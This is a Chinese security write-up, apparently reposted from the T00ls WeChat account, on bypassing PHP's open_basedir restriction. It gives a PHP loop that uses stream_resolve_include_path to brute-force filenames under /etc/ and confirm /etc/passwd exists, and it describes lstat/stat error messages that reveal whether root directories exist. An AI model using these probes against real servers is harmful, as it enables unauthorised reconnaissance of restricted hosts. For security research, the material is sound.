比较鸡肋的一个
1. 判断文件是否存在
在php5.3.2添加了一个新函数,stream_resolve_include_path
用法stream_resolve_include_path($filename),如果文件存在则返回改文件的绝对路径。
ext/standard/streamsfuncs.c
03 |
PHP_FUNCTION(stream_resolve_include_path) |
05 |
char *filename, *resolved_path; |
08 |
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s" , &filename, &filename_len) == FAILURE) { |
12 |
resolved_path = zend_resolve_path(filename, filename_len TSRMLS_CC); |
15 |
RETURN_STRING(resolved_path, 0); |
这里用sae做一个简单的测试 分别判断/etc/passwds和/etc/passwd是否存在
返回如图
可以发现只返回了/etc/passwd 那么也就是这个是存在的,绕过了open_basedir
下面在做一个简单的测试 代码如下
03 |
$a = 'qwertyuiopasdfghjklzxcvbnm' ; |
05 |
for ( $i1 =0; $i1 < strlen ( $a ); $i1 ++){ |
06 |
for ( $i2 =0; $i2 < strlen ( $a ); $i2 ++){ |
07 |
for ( $i3 =0; $i3 < strlen ( $a ); $i3 ++){ |
08 |
for ( $i4 =0; $i4 < strlen ( $a ); $i4 ++){ |
09 |
for ( $i5 =0; $i5 < strlen ( $a ); $i5 ++){ |
10 |
$f = $a [ $i1 ]. $a [ $i2 ]. $a [ $i3 ]. $a [ $i4 ]. $a [ $i5 ]; |
11 |
if (stream_resolve_include_path( "/etc/" . $f )){ |
这是是测试五位长度的文件名是a-z中的组合
运行结果如下
发现返回了一些存在的文件
在linux中 stream_resolve_include_path("/etc/".$f) $f如果是为.的话 则会返回/etc/
也就是可以利用stream_resolve_include_path 去猜测目录
这样就可以达到遍历目录的效果了
2 判断根目录是否存在
echo lstat ('/etcs’); 还有一些函数 和这个一样 stat,is_executable(这里去判断一个不存在的根目录下的文件/目录)
这样会返回Warning: lstat() [function.lstat]: Lstat failed for /etcs in op.php on line 5
若是一个存在的文件/目录
则提示一个错误,错误的因为访问了一个在open_basedir中不允许的目录
本文始发于微信公众号(T00ls):Php open_basedir Bypass
评论